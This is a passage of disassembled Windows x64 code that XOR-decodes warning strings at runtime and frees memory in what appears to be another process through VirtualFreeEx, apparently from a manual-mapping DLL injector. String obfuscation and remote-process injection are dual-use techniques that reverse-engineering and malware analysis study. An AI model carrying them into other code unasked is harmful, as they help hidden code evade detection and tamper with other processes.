movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x901], al
lea rax, [rsp + 0x902]
lea rax, [rsp + 0x902]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x1a0], 0
jmp 0x14007acde
mov rax, qword [rsp + 0x1a0]
inc rax
mov qword [rsp + 0x1a0], rax
cmp qword [rsp + 0x1a0], 0x29
jae 0x14007ad42
mov rax, qword [rsp + 0x1a0]
lea rax, [rsp + rax + 0x8d9]
mov qword [rsp + 0x590], rax
mov rax, qword [rsp + 0x590]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x8d8]
xor eax, ecx
mov byte [rsp + 0x6b], al
mov rax, qword [rsp + 0x1a0]
lea rax, [rsp + rax + 0x8d9]
mov qword [rsp + 0x598], rax
mov rax, qword [rsp + 0x598]
mov cl, byte [rsp + 0x6b]
mov byte [rax], cl
jmp 0x14007accb
mov eax, 0x29
imul rax, rax, 1
lea rax, [rsp + rax + 0x8d9]
mov qword [rsp + 0x5a0], rax
mov rax, qword [rsp + 0x5a0]
mov byte [rax], 0
lea rax, [rsp + 0x8d9]
mov qword [rsp + 0x5a8], rax
mov rcx, qword [rsp + 0x5a8]
call fcn.140005fa4
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x80]
mov rcx, qword [rsp + 0xa20]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
test eax, eax
jne 0x14007b521
mov byte [rsp + 0x908], 0x7b
movsx eax, byte [rsp + 0x908]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.WARNING:_cant_release_mapping_data_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x909], al
movsx eax, byte [rsp + 0x908]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.WARNING:_cant_release_mapping_data_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x90a], al
movsx eax, byte [rsp + 0x908]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.WARNING:_cant_release_mapping_data_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x90b], al
movsx eax, byte [rsp + 0x908]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.WARNING:_cant_release_mapping_data_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x90c], al
movsx eax, byte [rsp + 0x908]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.WARNING:_cant_release_mapping_data_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x90d], al
movsx eax, byte [rsp + 0x908]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.WARNING:_cant_release_mapping_data_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x90e], al
movsx eax, byte [rsp + 0x908]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.WARNING:_cant_release_mapping_data_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x90f], al
movsx eax, byte [rsp + 0x908]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.WARNING:_cant_release_mapping_data_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x910], al
movsx eax, byte [rsp + 0x908]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.WARNING:_cant_release_mapping_data_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x911], al
movsx eax, byte [rsp + 0x908]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str.WARNING:_cant_release_mapping_data_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x912], al
movsx eax, byte [rsp + 0x908]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str.WARNING:_cant_release_mapping_data_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x913], al
movsx eax, byte [rsp + 0x908]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str.WARNING:_cant_release_mapping_data_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x914], al
movsx eax, byte [rsp + 0x908]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str.WARNING:_cant_release_mapping_data_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x915], al
movsx eax, byte [rsp + 0x908]
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str.WARNING:_cant_release_mapping_data_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x916], al
movsx eax, byte [rsp + 0x908]
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str.WARNING:_cant_release_mapping_data_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x917], al
movsx eax, byte [rsp + 0x908]
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, str.WARNING:_cant_release_mapping_data_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x918], al
movsx eax, byte [rsp + 0x908]
mov ecx, 1
imul rcx, rcx, 0x10
lea rdx, str.WARNING:_cant_release_mapping_data_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x919], al
movsx eax, byte [rsp + 0x908]
mov ecx, 1
imul rcx, rcx, 0x11
lea rdx, str.WARNING:_cant_release_mapping_data_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x91a], al
movsx eax, byte [rsp + 0x908]
mov ecx, 1
imul rcx, rcx, 0x12
lea rdx, str.WARNING:_cant_release_mapping_data_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x91b], al
movsx eax, byte [rsp + 0x908]
mov ecx, 1
imul rcx, rcx, 0x13
lea rdx, str.WARNING:_cant_release_mapping_data_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x91c], al
movsx eax, byte [rsp + 0x908]
mov ecx, 1
imul rcx, rcx, 0x14
lea rdx, str.WARNING:_cant_release_mapping_data_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x91d], al
movsx eax, byte [rsp + 0x908]
mov ecx, 1
imul rcx, rcx, 0x15
lea rdx, str.WARNING:_cant_release_mapping_data_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x91e], al
movsx eax, byte [rsp + 0x908]
mov ecx, 1
imul rcx, rcx, 0x16
lea rdx, str.WARNING:_cant_release_mapping_data_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x91f], al
movsx eax, byte [rsp + 0x908]
mov ecx, 1
imul rcx, rcx, 0x17
lea rdx, str.WARNING:_cant_release_mapping_data_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x920], al
movsx eax, byte [rsp + 0x908]
mov ecx, 1
imul rcx, rcx, 0x18
lea rdx, str.WARNING:_cant_release_mapping_data_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x921], al
movsx eax, byte [rsp + 0x908]
mov ecx, 1
imul rcx, rcx, 0x19
lea rdx, str.WARNING:_cant_release_mapping_data_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x922], al
movsx eax, byte [rsp + 0x908]
mov ecx, 1
imul rcx, rcx, 0x1a
lea rdx, str.WARNING:_cant_release_mapping_data_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x923], al
movsx eax, byte [rsp + 0x908]
mov ecx, 1
imul rcx, rcx, 0x1b
lea rdx, str.WARNING:_cant_release_mapping_data_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x924], al
movsx eax, byte [rsp + 0x908]
mov ecx, 1
imul rcx, rcx, 0x1c
lea rdx, str.WARNING:_cant_release_mapping_data_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x925], al
movsx eax, byte [rsp + 0x908]
mov ecx, 1
imul rcx, rcx, 0x1d
lea rdx, str.WARNING:_cant_release_mapping_data_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x926], al
movsx eax, byte [rsp + 0x908]
mov ecx, 1
imul rcx, rcx, 0x1e
lea rdx, str.WARNING:_cant_release_mapping_data_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x927], al
movsx eax, byte [rsp + 0x908]
mov ecx, 1
imul rcx, rcx, 0x1f
lea rdx, str.WARNING:_cant_release_mapping_data_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x928], al
movsx eax, byte [rsp + 0x908]
mov ecx, 1
imul rcx, rcx, 0x20
lea rdx, str.WARNING:_cant_release_mapping_data_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x929], al
movsx eax, byte [rsp + 0x908]
mov ecx, 1
imul rcx, rcx, 0x21
lea rdx, str.WARNING:_cant_release_mapping_data_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x92a], al
movsx eax, byte [rsp + 0x908]
mov ecx, 1
imul rcx, rcx, 0x22
lea rdx, str.WARNING:_cant_release_mapping_data_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x92b], al
movsx eax, byte [rsp + 0x908]
mov ecx, 1
imul rcx, rcx, 0x23
lea rdx, str.WARNING:_cant_release_mapping_data_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x92c], al
movsx eax, byte [rsp + 0x908]
mov ecx, 1
imul rcx, rcx, 0x24
lea rdx, str.WARNING:_cant_release_mapping_data_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x92d], al
movsx eax, byte [rsp + 0x908]
mov ecx, 1
imul rcx, rcx, 0x25
lea rdx, str.WARNING:_cant_release_mapping_data_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x92e], al
movsx eax, byte [rsp + 0x908]
mov ecx, 1
imul rcx, rcx, 0x26
lea rdx, str.WARNING:_cant_release_mapping_data_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x92f], al
movsx eax, byte [rsp + 0x908]
mov ecx, 1
imul rcx, rcx, 0x27
lea rdx, str.WARNING:_cant_release_mapping_data_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x930], al
movsx eax, byte [rsp + 0x908]
mov ecx, 1
imul rcx, rcx, 0x28
lea rdx, str.WARNING:_cant_release_mapping_data_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x931], al
movsx eax, byte [rsp + 0x908]
mov ecx, 1
imul rcx, rcx, 0x29
lea rdx, str.WARNING:_cant_release_mapping_data_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x932], al
movsx eax, byte [rsp + 0x908]
mov ecx, 1
imul rcx, rcx, 0x2a
lea rdx, str.WARNING:_cant_release_mapping_data_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x933], al
lea rax, [rsp + 0x934]
lea rax, [rsp + 0x934]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x1a8], 0
jmp 0x14007b47c
mov rax, qword [rsp + 0x1a8]
inc rax
mov qword [rsp + 0x1a8], rax
cmp qword [rsp + 0x1a8], 0x2b
jae 0x14007b4e0
mov rax, qword [rsp + 0x1a8]
lea rax, [rsp + rax + 0x909]
mov qword [rsp + 0x5b0], rax
mov rax, qword [rsp + 0x5b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x908]
xor eax, ecx
mov byte [rsp + 0x6c], al
mov rax, qword [rsp + 0x1a8]
lea rax, [rsp + rax + 0x909]
mov qword [rsp + 0x1d8], rax
mov rax, qword [rsp + 0x1d8]
mov cl, byte [rsp + 0x6c]
mov byte [rax], cl
jmp 0x14007b469
mov eax, 0x2b
imul rax, rax, 1
lea rax, [rsp + rax + 0x909]
mov qword [rsp + 0x1e0], rax
mov rax, qword [rsp + 0x1e0]
mov byte [rax], 0
lea rax, [rsp + 0x909]
mov qword [rsp + 0x1e8], rax
mov rcx, qword [rsp + 0x1e8]
call fcn.140005fa4
mov al, 1
mov rcx, qword [rsp + 0xa08]
xor rcx, rsp
call fcn.140083400
add rsp, 0xa10
pop rdi
ret